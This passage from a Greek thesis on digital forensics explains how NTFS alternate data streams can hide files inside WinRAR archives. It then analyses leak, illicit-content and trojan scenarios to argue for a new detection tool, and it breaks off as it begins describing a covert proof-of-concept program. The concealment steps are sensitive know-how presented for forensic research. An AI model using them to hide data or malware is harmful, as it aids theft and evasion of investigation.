αρχείο (πχτο readme.txt από την εκτέλεση Δημιουργία_Αϋ8_4) που σχετίζεται με ένα alternate 
data stream από ένα NTFS file system σένα FAT file system και πάλι πίσω σένα χωρίς να 
χάσουμε καμία από τις ιδιότητές του και κυρίως χωρίς κανένας να καταλάβει την παρουσία του.
Για να επιτύχουμε τον παραπάνω σκοπό που θέσαμε, πρέπει να εκμεταλλευτούμε τις δυνατότητες
ενός ευρέως διαδεδομένου λογισμικού συμπίεσης αρχείων(υπάρχουν τουλάχιστον 2 ακόμη ιδίου
τύπου λογισμικά με παρόμοιες δυνατότητες), του Winrar της εταιρείας RARlab, το οποίο και
εγκαθιστούμε στο σύστημα μας .Οι παρακάτω δεσμοί μπορούν να χρησιμοποιηθούν για
περισσότερες πληροφορίες σχετικά με το συγκεκριμένο λογισμικό:
http://www.rarlab.com/
http://www.rarlab.com/rar/wTar370el.exe
Βρισκόμαστε λοιπόν αρχικά σένα NTFS file system και επιλέγουμε το βασικό αρχείο readme.txt, 
πατώντας δεξί κλικ επάνω του επιλέγουμε το Add to archive... από τις δυνατές επιλογές :
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^§Add to archive... 
i§Add to "readme.rar"
§ Compress and email,..
^Compress to "readme.rar" and email
Εικόνα 4.9.Επιλογές του winrar σχετικά με την διαχείριση ενός αρχείου
Στις επιπλέον επιλογές που εμφανίζονται φροντίζουμε να έχουμε επιλέξει στην καρτέλα Advanced 
στην κατηγορία NTFS options την επιλογή Save file streams όπως στην παρακάτω εικόνα:
Εικόνα 4.10.Επιλογές του winrar σχετικά με NTFS & Streams
Έχουμε λοιπόν τώρα στην διάθεση μας ένα αρχείο (.rar) που ονομάζουμε όπως επιθυμούμε (πχ. 
readme.ταιή.Ας δούμε όμως μερικές από τις ιδιότητες αυτού του αρχείου που κρύβει μέσα του ένα
Alternate Data Stream.
Καταρχάς παρατηρούμε εξωτερικά ότι το αρχείο καταλαμβάνει 53,8 ΚΒ (55.127 byte) χώρου. 
Εφόσον το readme.rar περιέχει σαν βασικό αρχείο το readme.txt το οποίο όπως έχει ορισθεί κατά 
την κατασκευή του, είναι ένα κενό αρχείο ΟΚΒ και το αρχείο mshearts.exe με μέγεθος 125 ΚΒ 
(128.000 byte), οι παρακάτω εικόνες θα έπρεπε να αποτελούν υπολογιστικό παράδοξο :
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Εικόνα 4.11.Το αρχείο readme.rar φαίνεται να περιέχει μόνο το readme.txt με μέγεθος ΟΚΒ
readme, rar
WinRAR archive 
54 KB
Εικόνα 4.12.To αρχείο readme.rar θα έπρεπε να έχει μέγεθος 1ΚΒ αντίθετα έχει μέγεθος 54ΚΒ
Από τις παραπάνω εικόνες συμπεραίνουμε δύο πράγματα, καταρχάς το Alternate Data Stream 
αρχείο readme.txt:mshearts.exe παραμένει κρυφό ακόμη και μέσα στο αρχείο μορφής (.rar), 
υπάρχει όμως μία πρώτη ένδειξη ότι περιλαμβάνεται κάποιο ακόμα αρχείο λόγω του παράδοξου 
μεγέθους του αρχείου (.rar). Αυτό το παράδοξο βέβαια μπορεί να μην γίνει αντιληπτό και σίγουρα 
δεν είναι ένας ασφαλής τρόπος για να συμπεράνουμε ότι το αρχείο τύπου (.rar), μπορεί να κρύβει 
μέσα του ένα αρχείο Alternate Data Stream.
Ένας ακόμη τρόπος για να συμπεράνουμε εάν ένα αρχείο (.rar) περιέχει Alternate Data Stream 
είναι να απο συμπιέσου με (unrar) το εν λόγω αρχείο σένα FAT file system.Αυτή μας η ενέργεια θα 
έχει σαν αποτέλεσμα την παραγωγή του παρακάτω μηνύματος :
Εικόνα 4.13.Μηνυμα σφάλματος κατά την διαδικασία unrar σε FAT fde system
Το μήνυμα αυτό ουσιαστικά αποκαλύπτει την ύπαρξη Alternate Data Stream αρχείου με όνομα 
readme.txt:mshearts.exe και εφόσον η διαδικασία αυτή διεξάγεται σε FAT file system το βασικό 
αρχείο (readme.txt) αποσυμπιέζεται κανονικά ενώ το Alternate Data Stream του χάνεται .Η ίδια 
διαδικασία σε NTFS file system δεν θα παρήγαγε κανένα σφάλμα αντίθετα θα γίνονταν άμεση 
αποσυμπίεση και του βασικού αλλά και του Alternate Data Stream αρχείου .
Με την διατήρηση των ιδιοτήτων των Alternate Data Stream αρχείων μέσα σε αρχείο μορφής 
(.rar) υπάρχει πλέον η δυνατότητα :
• Αποστολής τους μέσω Internet (με χρήση όλων των γνωστών μέσων αποστολής αρχείων 
πχ. email,ftp, http, instant messengers)
• Διατήρησης τους σε οποιοσδήποτε μορφής αποθηκευτικό μέσο (μόνος περιορισμός πλέον το 
μέγεθος) πχ. σκληρός δίσκος, δισκέτα, cd/dvd, usb thumb-drive, memory cards κτλ. 
ανεξαρτήτως file system.
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ΕΝΟΤΗΤΑ 4.4 - FORENSICS και NTFS-ADS
Όπως γίνεται φανερό, από τις ιδιότητες που παρουσιάστηκαν παραπάνω σε σχέση με τα NTFS 
Alternate Data Streams αλλά και την δυνατότητα τους να διατηρούνται με κατάλληλη διαδικασία 
σε οποιασδήποτε μορφής file system, θα πρέπει να αναπτυχθεί κατάλληλο εργαλείο Forensics που 
να επιτρέπει τον εντοπισμό των αρχείων αυτών τόσο απλή όσο και σε συμπιεσμένη μορφή. Θα 
πρέπει επιπλέον να αναπτυχθεί τεχνική/διαδικασία που να πληροί τις προϋποθέσεις λειτουργίας και 
των δύο τεχνικών Forensics (live/post-mortem) που αναπτύχθηκαν σε προηγούμενο κεφάλαιο.
Ας δούμε όμως μέσα από ρεαλιστικά σενάρια χρήσης, την σημαντικότητα του εντοπισμού NTFS 
Alternate Data Streams ,σε οποιαδήποτε μορφή και αν βρίσκονται αυτά, για την επιστήμη του 
Digital Forensics, για να προτείνουμε έπειτα κατάλληλη τεχνική εντοπισμού με χρήση του 
εργαλείου που κατασκευάσαμε.
Σενάριο 1
Υπάλληλος εταιρείας X, ο οποίος χρησιμοποιεί υπολογιστή με λειτουργικό Windows Χρ SP2 που 
υποστηρίζει NTFS file system και έχει πρόσβαση σε απόρρητα έγγραφα που βρίσκονται σε 
τοποθεσία του εσωτερικού δικτύου της εταιρείας(ΐηίΓαηεί), κρύβει απόρρητο αρχείο Microsoft Word 
(.doc) σε NTFS Alternate Data Stream ενός αρχείου μουσικής (.mp3) και έπειτα χρησιμοποιώντας 
το λογισμικό Winrar συμπιέζει το αρχείο με την τεχνική που περιγράφηκε παραπάνω και αντιγράφει 
το αρχείο σε Cd το οποίο παίρνει μαζί του εκτός της εταιρείας και το παραδίδει σε ανταγωνιστή 
αυτής .Το (.mp3) και (.doc) αρχείο διαγράφεται από τον τοπικό σκληρό δίσκο ενώ το (.rar) αρχείο
όχι.
Σενάριο 2
Υπάλληλος εταιρείας Υ, ο οποίος χρησιμοποιεί υπολογιστή με λειτουργικό Windows Χρ SP2 που 
υποστηρίζει FAT file system και διαθέτει προσωπικό εξωτερικά συνδεόμενο σκληρό δίσκο (USB) 
τύπου NTFS file system. Ο χρήστης μεταφέρει παράνομο πορνογραφικό υλικό (εικόνες .jpeg), αφού 
το έχει πρώτα κρύψει σε NTFS Alternate Data Streams ενός αρχείου μουσικής (.mp3) και έχει 
έπειτα συμπιέσει με Winrar τα αρχεία, από τον εξωτερικά συνδεόμενο σκληρό δίσκο τύπου NTFS 
file system στον εσωτερικό σκληρό δίσκο FAT file system του γραφείου του όπου και τα 
φυλάσσει.
Σενάριο 3
Υπάλληλος εταιρείας Ζ, ο οποίος χρησιμοποιεί υπολογιστή με λειτουργικό Windows Χρ SP2 που 
υποστηρίζει FAT file system, εγκαθιστά κατά λάθος ιομορφικό λογισμικό που εκτός των άλλων 
ιδιοτήτων του, έχει ως ιδιότητα μετάδοσης το να ανιχνεύει την ύπαρξη NTFS Alternate Data 
Streams σκληρών δίσκων .Όταν εντοπίζει έναν πχ. συνδεόμενο σκληρό δίσκο (USB) τύπου NTFS 
file system αποσυμπιέζει τα περιεχόμενα ενός φαινομενικά αθώου (.rar) αρχείου, που μέχρι τώρα 
βρίσκονταν στον FAT file system σκληρό δίσκο και το οποίο περιλάμβανε σε κρυφό Alternate 
Data Stream έναν “δούρειο ίππο” σε μορφή (.exe), ο οποίος αφού εκτελείτε στην συνέχεια 
διαγράφεται χωρίς να αφήσει στοιχεία.
Δεν πρέπει να ξεχνάμε ότι σκοπός της έρευνας είναι “Η συλλογή και ανάλυση δεδομένων με τρόπο 
που να εξασφαλίζει την μη αλλοίωση ή μεταβολή με οποιονδήποτε τρόπο αυτών ,καθώς και 
αξιόπιστη αποκατάσταση δεδομένων και καταστάσεων προηγουμένων χρονικών στιγμών 
υπολογιστικών συστημάτων ή δικτύων ” Dan Farmer / Wietse Venema (1999).
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ΥΠΟΕΝΟΤΗΤΑ 4.4.1 - Ανάλυση Σεναρίου 1
Σύμφωνα με το σενάριο 1, η εταιρεία X διατρέχει κίνδυνο της εμπιστευτικότητας της καθώς ένα 
απόρρητο αρχείο της τίθεται στην διάθεση προσώπου έκτος εταιρείας .Με την τεχνική που 
περιγράφεται στο σενάριο 1 το απόρρητο αρχείο μεταφέρεται μέσω ηλεκτρονικού μέσου 
αποθήκευσης (CD) σε άγνωστο μη εξουσιοδοτημένο παραλήπτη, ενώ η δυνατότητα εντοπισμού της 
ενέργειας αυτής με της γνωστές μεθόδους ^.firewall) δεν θα μπορούσε με κάποιο τρόπο να 
αποφευχθεί .Σε συνέχεια λοιπόν του σεναρίου 1, ο διαχειριστής του υπολογιστικού συστήματος της 
εταιρείας X αντιλαμβάνεται την περίεργη δραστηριότητα του εργαζόμενου και καλεί ειδικούς στην 
έρευνα του Digital Forensics.
Περίπτωση Live Forensics :
Ο ειδικός χρησιμοποιεί σε αυτή την περίπτωση λογισμικό που αποτελείται από πληθώρα εργαλείων, 
ανάλογα με την αναζήτηση που θέλει να διενεργήσει στον υπό εξέταση υπολογιστή, έχοντας ως 
σκοπό την μη αλλοίωση των δεδομένων .Σκοπός του είναι ο εντοπισμός μη εξουσιοδοτημένης 
χρήσης του αρχείου Microsoft Word.Ο χρήστης έχει νόμιμη πρόσβαση στο συγκεκριμένο αρχείο, 
αλλά αντιγραφή του σε cd-rom θεωρείτε μη εξουσιοδοτημένη όπως ορίζεται από την πολιτική της 
εταιρείας.
Πιθανό Σενάριο
Ι.Καταρχάς ο ειδικός Investigator, ελέγχει με κατάλληλα εργαλεία, εάν ενεργό αντίγραφο του 
αρχείου αυτού υπάρχει στον σκληρό δίσκο του υπολογιστή του υπόπτου .Αυτό δεν ισχύει γιατί 
γνωρίζουμε ότι το αρχείο είχε διαγράφει.
2. Γίνεται αναζήτηση με ειδικά εργαλεία (πχ. Alternate Data Stream Tools for NTFS 2.5.0, LADS, 
CrucialADS) για τον εντοπισμό αντιγράφου του αρχείου αυτού σε NTFS Alternate Data 
Stream.Ta αποτελέσματα είναι και πάλι αρνητικά γιατί τα εργαλεία Live Forensics αναζήτησης 
Alternate Data Stream δεν μπορούν να εντοπίσουν το Alternate Stream όταν έχει διαγράφει το
Main Stream.
3. Με ειδικό εργαλείο για ανάκτηση διαγραμμένων αρχείων εντοπίζεται λοιπόν αντίγραφο (.doc) του 
αρχείου που μας ενδιαφέρει και από την ημερομηνία διαγραφής αλλά και δημιουργίας γίνεται μια 
πρώτη χρονική εκτίμηση της δραστηριότητας του υπόπτου (timeline).Με βάση αυτό το χρονικό 
περιορισμό γίνεται πιο γρήγορη η αναζήτηση των ζητούμενων στοιχείων.
4. Επόμενο βήμα είναι εντοπισμός μεταφοράς με κάποιο τρόπο του αρχείου αυτού εκτός του 
εσωτερικού δικτύου της εταιρείας .Ελέγχονται με κατάλληλα εργαλεία τα email, πιθανές συνδέσεις 
με ftp,http τόσο στον τοπικό υπολογιστή όσο και στα logs του server της εταιρείας εάν υπάρχουν και 
για τις ημερομηνίες που μας ενδιαφέρουν .Δεν εντοπίζεται κάτι ύποπτο, άρα τα ευαίσθητα δεδομένα 
δεν εξήλθαν μέσω Internet από την εταιρεία X.
5. Εξετάζουμε λοιπόν την περίπτωση εγγραφής του απόρρητου αρχείου αυτού σε φορητό μέσο 
ψηφιακών δεδομένων .Δεν εντοπίζουμε πουθενά εγγραφή του αρχείου αυτού σε φορητό μέσο. 
Εντοπίζουμε όμως εγγραφή ενός cd την χρονική περίοδο που μας ενδιαφέρει ,το οποίο περιέχει ένα 
αρχείο (.rar) που έχει ως περιεχόμενο ένα αρχείο μουσικής (.mp3).
6. Κάνουμε αναζήτηση του αρχείου (.rar) και βλέπουμε ότι υπάρχει ενεργό και αποθηκευμένο κάπου 
στον σκληρό μας δίσκο .Εάν το ανοίξουμε δεν βλέπουμε πουθενά μέσα του το αρχείο που 
αναζητούμε.
7. Εάν κάνουμε extract τα περιεχόμενά του πάλι δεν εντοπίζουμε το κρυφό αρχείο, ούτε εμφανίζεται 
κάποιο προειδοποιητικό μήνυμα πού να υποδηλώνει ύπαρξη Alternate Data Streams καθώς ο 
σκληρός δίσκος του υπολογιστή που εξετάζουμε υποστηρίζει NTFS file system.
8. Εάν γίνει ξανά αναζήτηση σε αυτό το βήμα με ειδικό εργαλείο για NTFS Alternate Data 
Streams, τώρα θα εντοπίσουμε το αρχείο που αναζητούμε και έτσι θα έχουμε αποδεικτικά στοιχεία 
ότι το απόρρητο μας αρχείο αντιγράφηκε σε cd-rom υπάρχει μη εξουσιοδοτημένη ενέργεια που έχει
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μάλιστα διαπραχθεί σε συγκεκριμένη χρονική στιγμή από τον προσωπικό υπολογιστή του υπόπτου.
9.Μένει βέβαια να αποδειχθεί ότι όντως ο ύποπτος ήταν αυτός πού διενέργησε την αντιγραφή την 
δεδομένη χρονική στιγμή ώστε να θεωρηθεί και επίσημα ένοχος, αλλά η συνέχεια του σεναρίου 
αυτού δεν εξετάζεται.
Σε όλα τα παραπάνω βήματα γίνονται χρονικές καταγραφές που βοηθούν στην δημιουργία 
αξιόπιστου timeline τόσο για την εξέλιξη της έρευνας, όσο και για την δραστηριότητα του υπόπτου.
Σχολιασμός Live Forensics :
Βλέπουμε ότι για τον εντοπισμού του αρχείου που μας ενδιαφέρει ακολουθείτε μία διαδικασία με 
πολλά βήματα, κάποια από τα οποία θα μπορούσαν να έχουν αποτύχει (πχ. τα βήματα 3-7), για να 
καταλήξουμε στο βήμα 8 το οποίο θα μπορούσε να μην είχε γίνει, ώστε να εντοπίσουμε τα δεδομένα 
που μας ενδιαφέρουν .Διακινδυνεύουμε λοιπόν ακολουθώντας την κλασσική διαδικασία Live 
Forensics να μήν επιτύχουμε τον σκοπό μας και μάλιστα με μεγάλη πιθανότητα ενώ στα βήματα 6-7 
υπάρχει κίνδυνος αλλοίωσης της ακεραιότητας των στοιχείων.
Προτείνουμε χρήση στο δεύτερο βήμα, αντί για χρήση λογισμικού που ψάχνει μόνο σε NTFS 
Alternate Data Streams αρχείων και φακέλων, χρήση λογισμικού που αναπτύχθηκε στα πλαίσια 
αυτής της διπλωματικής και εντοπίζει με επιτυχία κρυμμένα Alternate Data Streams σε αρχεία 
(.rar) και άλλου είδους αρχεία ,στα οποία κανένα λογισμικό εμπορικό ή open source μέχρι τώρα 
δεν αναζητούσε.(Το λογισμικό που αναπτύχθηκε περιγράφεται αναλυτικά σε επόμενο κεφάλαιο).Το 
σενάριο 1 λοιπόν θα μπορούσε να έχει επιλυθεί με μεγάλη αξιοπιστία και ταχύτητα από το βήμα 2 
με την χρήση βέβαια και της Προτεινόμενης Μεθοδολογίας Διαχείρισης Υπόπτων Αρχείων 
Συμπίεσης που περιγράφεται επίσης σε επόμενο κεφάλαιο.
Περίπτωση Post-Mortem Forensics :
Ο εξεταστής σε αυτή την περίπτωση, φροντίζει αφού απενεργοποιήσει τον υπό εξέταση υπολογιστή, 
να διασφαλίσει ότι το αντίγραφο του σκληρού δίσκου που πρόκειται να ανακτήσει είναι ακριβές και 
ότι δεν υπάρχει καμία αλλοίωση του περιεχομένου.
Πιθανό Σενάριο
1. Υπολογίζεται το hash value του σκληρού δίσκου πριν την αντιγραφή.
2. Δημιουργείται ακριβές αντίγραφο του σκληρού δίσκου είτε με ειδικό software, είτε με hardware 
(block by block copy).
3. Υπολογίζεται το hash value του αντιγράφου του σκληρού και γίνεται σύγκριση των δύο hash 
values (του βήματος 1,3, hash-copy-hash)
4. Με κατάλληλη χρήση λογισμικού (πχ-Encase) γίνεται πλήρης έλεγχος σε όλα τα blocks του 
σκληρού δίσκου για ύπαρξη αντιγράφου (ενεργού ή διαγραμμένου) του
απόρρητου αρχείου που μας ενδιαφέρει .Σε αυτό το βήμα μπορεί να εντοπιστεί κάποιο αντίγραφο ή 
τμήμα αντιγράφου του αρχείου που μας ενδιαφέρει αλλά είχε διαγράφει από τον ύποπτο. Δεν 
υπάρχει όμως παράνομη δραστηριότητα μέχρι εδώ.
5. Με κατάλληλη διαδικασία για αναζήτηση ύπαρξης Alternate Data Stream και εφόσον 
γνωρίζουμε ότι ο υπό εξέταση σκληρός υποστηρίζει NTFS file system, εντοπίζουμε ότι το 
απόρρητο αρχείο μας είχε πάρει μορφή Alternate Data Stream κάποια χρονική στιγμή την οποία 
και καταγράφουμε. Δεν μπορούμε να γνωρίζουμε το αρχείο που ήταν το βασικό SDATA stream 
(.mp3).To δεδομένο αυτό από μόνο του αποτελεί δευτερεύον αποδεικτικό στοιχείο περίεργης 
δραστηριότητας του υπόπτου εφόσον προσπαθεί να κρύψει την απόρρητη πληροφορία με κάποιο 
τρόπο.
6. Γίνεται έλεγχος όλων των αρχείων συμπιεσμένης μορφής (πχ. .rar , .zip).Η διαδικασία αυτή 
απαιτεί πολύ χρόνο και δεν υπάρχει κάποιος αυτοματοποιημένος τρόπος ώστε να εντοπιστεί η 
ύπαρξη Alternate Data Streams σε συμπιεσμένη μορφή .Ακόμη και αν εντοπιστεί το αρχείο (.rar)
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που περιείχε το Alternate Data Stream, εφόσον τα πιο διάσημα προγράμματα ανάλυσης σκληρών 
δίσκων χρησιμοποιούν για τον χειρισμό αρχείων το ίδιο το πρόγραμμα που χειρίζεται τα αρχεία και 
όχι κάποια ειδική έκδοση, ένα αρχείο (.rar) θα ανοίξει με τον ίδιο τρόπο που θα άνοιγε και σε ένα 
κοινό προσωπικό υπολογιστή. Αυτό θα είχε σαν αποτέλεσμα την αποτυχία εντοπισμού λόγω της 
ιδιότητας των Alternate Data Streams να είναι κρυφά μέσα σένα αρχείο (.rar).Πιθανή 
κρυπτογράφηση και μετονομασία του κειμένου θα έκανε ακόμη πιο δύσκολο τον εντοπισμό του.
Σε όλα τα παραπάνω βήματα γίνονται χρονικές καταγραφές που βοηθούν στην δημιουργία 
αξιόπιστου timeline τόσο για την εξέλιξη της έρευνας, όσο και για την δραστηριότητα του υπόπτου.
Σχολιασμός Post-Mortem Forensics :
Γίνεται εύκολα αντιληπτό ότι η έλλειψη αυτοματοποιημένης αναζήτησης Alternate Data Stream 
κρυμμένων σε αρχεία συμπίεσης κατά την διαδικασία του Post-Mortem Forensics μπορεί να 
οδηγήσει εύκολα σε λανθασμένα συμπεράσματα ή αποτυχημένες και χρονοβόρες αναζητήσεις. 
Προτείνεται συμπλήρωση του βήματος 5 με συνδυασμό αυτοματοποιημένης αναζήτησης 
συγκεκριμένων συμβολοσειρών που αποδεικνύουν την ύπαρξη Alternate Data Stream κρυμμένων 
σε αρχεία συμπίεσης ακολουθούμενη από σύγκριση χαρακτηριστικών του αρχείου προς αναζήτηση 
και των αρχείων που περιλαμβάνονται στα αρχεία συμπίεσης που ανακτήθηκαν. Έτσι με έξυπνο και 
γρήγορο τρόπο εξετάζονται μαζί με τα απλά Alternate Data Streams και τα Alternate Data 
Stream κρυμμένων σε αρχεία συμπίεσης. (Η μέθοδος που αναπτύχθηκε περιγράφεται αναλυτικά 
σε επόμενο κεφάλαιο).
ΥΠΟΕΝΟΤΗΤΑ 4.4.2 - Ανάλυση Σεναρίου 2
Σύμφωνα με το σενάριο 2, οι υπολογιστικοί πόροι της εταιρείας Υ χρησιμοποιούνται για παράνομη 
δραστηριότητα, κάτι που βάζει σε νομικό κίνδυνο την εταιρεία .Το παράνομο υλικό κρύβεται μέσα 
σε κατά τα άλλα νόμιμα αρχεία (.rar) τα οποία δύσκολα θα κινούσαν υποψίες ακόμα και σε 
έμπειρους χρήστες ηλεκτρονικών υπολογιστών. Ας δούμε όμως δύο ρεαλιστικά σενάρια έρευνας και 
εντοπισμού τέτοιου παράνομου υλικού με την χρήση των μέχρι τώρα διαπιστευμένων μεθόδων 
Forensic έρευνας.
Περίπτωση Live Forensics :
Ο Investigator χρησιμοποιεί σε αυτή την περίπτωση λογισμικό που αποτελείται από πληθώρα 
εργαλείων, ανάλογα με την αναζήτηση που θέλει να διενεργήσει στον υπό εξέταση υπολογιστή, 
έχοντας ως σκοπό την μη αλλοίωση των δεδομένων .Σκοπός του είναι ο εντοπισμός παράνομου 
υλικού ανεξακρίβωτης μορφής (.jpg, .bmp, .mpeg, .avi) το οποίο βρίσκεται αποθηκευμένο σε μέσω 
καταγραφής δεδομένων που ανήκει σε υπολογιστικό σύστημα ή μονάδα της εταιρείας Υ.
Πιθανό Σενάριο
1 .Καταρχάς ο ειδικός, ελέγχει με κατάλληλα εργαλεία εάν υπάρχουν ενεργά αντίγραφα αρχείων 
(.jpg , .bmp , .mpeg , .avi) και τα συλλέγει, ελέγχοντας τα ένα προς ένα για ύποπτο περιεχόμενο.
2. Δεν γίνεται αναζήτηση με ειδικά εργαλεία (πχ. Alternate Data Stream Tools for NTFS 2.5.0, 
LADS, CrucialADS) για τον εντοπισμό αντιγράφου του αρχείου αυτού σε NTFS Alternate Data 
Stream αφού το File system του υπό εξέταση υπολογιστή είναι FAT.(Δεν μπορούν να υπάρξουν 
Alternate Data Streams σε FAT File system)
3. Κάνουμε αναζήτηση για ενεργά αρχεία συμπίεσης (.rar , .zip) τα οποία και εξετάζουμε ένα προς 
ένα, ελέγχοντας το περιεχόμενο τους .Δεν υπάρχει κάποια συγκεκριμένη μεθοδολογία για τον έλεγχο 
συμπιεσμένων αρχείων σε σχέση με πιθανά κρυμμένα Alternate Data Streams.Εάν τα ανοίξουμε 
λοιπόν απλά δεν βλέπουμε πουθενά μέσα τους τα αρχεία που αναζητούμε ή κάποια ύποπτη ένδειξη. 
Επιπλέον η διαδικασία είναι αρκετά χρονοβόρα αν το κάνουμε για κάθε ένα αρχείο.
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4. Εάν κάνουμε extract (αποσυμπίεση) τα περιεχόμενά τους θα έχουμε μήνυμα σφάλματος σε 
κάποια από αυτά μαζί και στο ύποπτο αρχείο (-rar).AoTO το βήμα βέβαια θα μπορούσε να 
παραληφθεί καθώς η διαδικασία αυτή για μεγάλο αριθμό αρχείων είναι χρονοβόρα.
5. Μετά και το βήμα 4 υπάρχει περίπτωση ή να έχει εντοπιστεί το αρχείο που μας ενδιαφέρει κατά 
λάθος οπότε και γίνεται ορθή εξαγωγή των κρυφών αρχείων σε σκληρό δίσκο με NTFS File system 
και περαιτέρω εξέτασή τους ή να μην έχει εντοπιστεί καθόλου με μεγάλη πιθανότητα.
Σε όλα τα παραπάνω βήματα γίνονται χρονικές καταγραφές που βοηθούν στην δημιουργία 
αξιόπιστου timeline τόσο για την εξέλιξη της έρευνας, όσο και για την δραστηριότητα του υπόπτου.
Σχολιασμός Live Forensics :
Βλέπουμε ότι για τον εντοπισμού του αρχείου που μας ενδιαφέρει ακολουθείτε μία διαδικασία με 
αρκετά βήματα, κάποια από τα οποία θα μπορούσαν να έχουν αποτύχει (πχ. τα βήματα 3-4). 
Διακινδυνεύουμε λοιπόν ακολουθώντας την κλασσική διαδικασία Live Forensics να μην 
επιτύχουμε τον σκοπό μας και μάλιστα με μεγάλη πιθανότητα.
Ακόμη το βήμα 4 προκαλεί αλλοίωση στην ακεραιότητα των αρχείων καθώς επηρεάζει την 
χρονοσφραγίδα τελευταίας προσπέλασης του αρχείου και μάλλον θα αποφεύγονταν σε μία αυστηρά 
ορισμένη διαδικασία Live Forensics.
Προτείνουμε χρήση στο δεύτερο βήμα, χρήση λογισμικού που αναπτύχθηκε στα πλαίσια αυτής της 
διπλωματικής και εντοπίζει με επιτυχία κρυμμένα Alternate Data Streams σε αρχεία (.rar) και 
άλλου είδους αρχεία, στα οποία κανένα λογισμικό εμπορικό ή open source μέχρι τώρα δεν 
αναζητούσε.(Το λογισμικό που αναπτύχθηκε περιγράφεται αναλυτικά σε επόμενο κεφάλαιο).Το 
σενάριο 2 λοιπόν θα μπορούσε να έχει επιλυθεί με μεγάλη αξιοπιστία και ταχύτητα από το βήμα 2 
με την χρήση βέβαια και της Προτεινόμενης Μεθοδολογίας Διαχείρισης Υπόπτων Αρχείων 
Συμπίεσης που περιγράφεται επίσης παρακάτω.
Περίπτωση Post-Mortem Forensics :
Ο εξεταστής σε αυτή την περίπτωση, φροντίζει αφού απενεργοποιήσει τον υπό εξέταση υπολογιστή, 
να διασφαλίσει ότι το αντίγραφο του σκληρού δίσκου που πρόκειται να ανακτήσει είναι ακριβές και 
ότι δεν υπάρχει καμία αλλοίωση του περιεχομένου.
Πιθανό Σενάριο
1. Υπολογίζεται το hash value του σκληρού δίσκου πριν την αντιγραφή.
2. Δημιουργείται ακριβές αντίγραφο του σκληρού δίσκου είτε με ειδικό software, είτε με hardware 
(block by block copy).
3. Υπολογίζεται το hash value του αντιγράφου του σκληρού και γίνεται σύγκριση των δύο hash 
values (του βήματος 1,3, hash-copy-hash).
4. Με κατάλληλη χρήση λογισμικού (πχ-Encase) γίνεται πλήρης έλεγχος σε όλα τα blocks του 
σκληρού δίσκου για ύπαρξη αρχείων (.jpg, .bmp, .mpeg, .avi) που μας ενδιαφέρουν. Σε αυτό το 
βήμα δεν εντοπίζεται κάποιο αντίγραφο ή τμήμα αντιγράφου αρχείων (.jpg, .bmp, .mpeg, .avi) που 
μας ενδιαφέρουν.
5. Γίνεται έλεγχος όλων των αρχείων συμπιεσμένης μορφής (πχ. .rar, .zip).Η διαδικασία αυτή απαιτεί 
πολύ χρόνο και δεν υπάρχει κάποιος αυτοματοποιημένος τρόπος ώστε να εντοπιστεί η ύπαρξη 
Alternate Data Streams σε συμπιεσμένη μορφή .Ακόμη και αν εντοπιστεί το αρχείο (.rar) που 
περιείχε το Alternate Data Stream, εφόσον τα πιο διάσημα προγράμματα ανάλυσης σκληρών 
δίσκων χρησιμοποιούν για τον χειρισμό αρχείων το ίδιο το πρόγραμμα που χειρίζεται τα αρχεία και 
όχι κάποια ειδική έκδοση ,ένα αρχείο rar θα ανοίξει με τον ίδιο τρόπο που θα άνοιγε και σε ένα 
κοινό προσωπικό υπολογιστή .Αυτό θα είχε σαν αποτέλεσμα την αποτυχία εντοπισμού λόγω της 
ιδιότητας των Alternate Data Streams να είναι κρυφά μέσα σένα αρχείο (.rar).
Σε όλα τα παραπάνω βήματα γίνονται χρονικές καταγραφές που βοηθούν στην δημιουργία
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αξιόπιστου timeline τόσο για την εξέλιξη της έρευνας, όσο και για την δραστηριότητα του υπόπτου.
Σχολιασμός Post-Mortem Forensics :
Γίνεται εύκολα αντιληπτό ότι η έλλειψη αυτοματοποιημένης αναζήτησης Alternate Data Stream 
κρυμμένων σε αρχεία συμπίεσης κατά την διαδικασία του Post -Mortem Forensics μπορεί να 
οδηγήσει εύκολα σε λανθασμένα συμπεράσματα ή αποτυχημένες και χρονοβόρες αναζητήσεις. 
Προτείνεται συμπλήρωση του βήματος 4 με συνδυασμό αυτοματοποιημένης αναζήτησης 
συγκεκριμένων συμβολοσειρών που αποδεικνύουν την ύπαρξη Alternate Data Stream κρυμμένων 
σε αρχεία συμπίεσης ακολουθούμενη από σύγκριση χαρακτηριστικών του αρχείου προς αναζήτηση 
και των αρχείων που περιλαμβάνονται στα αρχεία συμπίεσης που ανακτήθηκαν. Έτσι με έξυπνο και 
γρήγορο τρόπο εξετάζονται μαζί με τα απλά Alternate Data Streams και τα Alternate Data 
Stream κρυμμένων σε αρχεία συμπίεσης. (Η μέθοδος που αναπτύχθηκε περιγράφεται αναλυτικά 
σε επόμενο κεφάλαιο)
ΥΠΟΕΝΟΤΗΤΑ 4.4.3 - Ανάλυση Σεναρίου 3
Σύμφωνα με το σενάριο 3, η εταιρεία Ζ διατρέχει κίνδυνο της εμπιστευτικότητας της, αλλά και της 
ακεραιότητας των δεδομένων της, καθώς ένας δούρειος ίππος (Trojan) θα μπορούσε να προκαλέσει 
πολλά προβλήματα τόσο σε αυτή όσο και στους πελάτες της .Με το παρακάτω σενάριο θέλουμε να 
τονίσουμε κυρίως την δυνατότητα των Alternate Data Streams όχι μόνο να κρύβουν αρχεία ή να 
κρύβονται σε (.rar) αρχεία, αλλά ταυτόχρονα σε συνδυασμό με την χρήση κατάλληλου ιομορφικού 
λογισμικού να αποτελούν εν δυνάμει χώρους αποθήκευσης δούρειων ίππων και άλλου κακόβουλου 
λογισμικού ακόμα και σε FAT file systems που υπό άλλες συνθήκες δεν θα ήταν καν δυνατό να 
διατηρούνταν και να μην εντοπίζονταν. Τονίζεται δε η αδυναμία λογισμικών antivirus να 
αντιμετωπίσουν την απειλή που παρουσιάζεται εδώ σαν proof of concept.
Η Δημιουργία της Απειλής
Ενδεικτικό λογισμικό :
Το πρόγραμμα σε γλώσσα προγραμματισμού C++ που παρατίθεται και έχει ως σκοπό να επιδείξει 
την αδυναμία εντοπισμού κακόβουλου λογισμικού κρυμμένου μέσα σε Alternate Data Stream και 
συμπιεσμένου με Winrar.To εν λόγω πρόγραμμα εάν εκτελεσθεί, λειτουργεί κρυφά από τον 
χρήστη (καμία ένδειξη εικονιδίου) και ελέγχει όλα τα μέσα αποθήκευσης με τα οποία είναι 
συνδεδεμένος ο υπολογιστής, για το αν είναι συμβατά με NTFS file system.Σε όσα από αυτά είναι, 
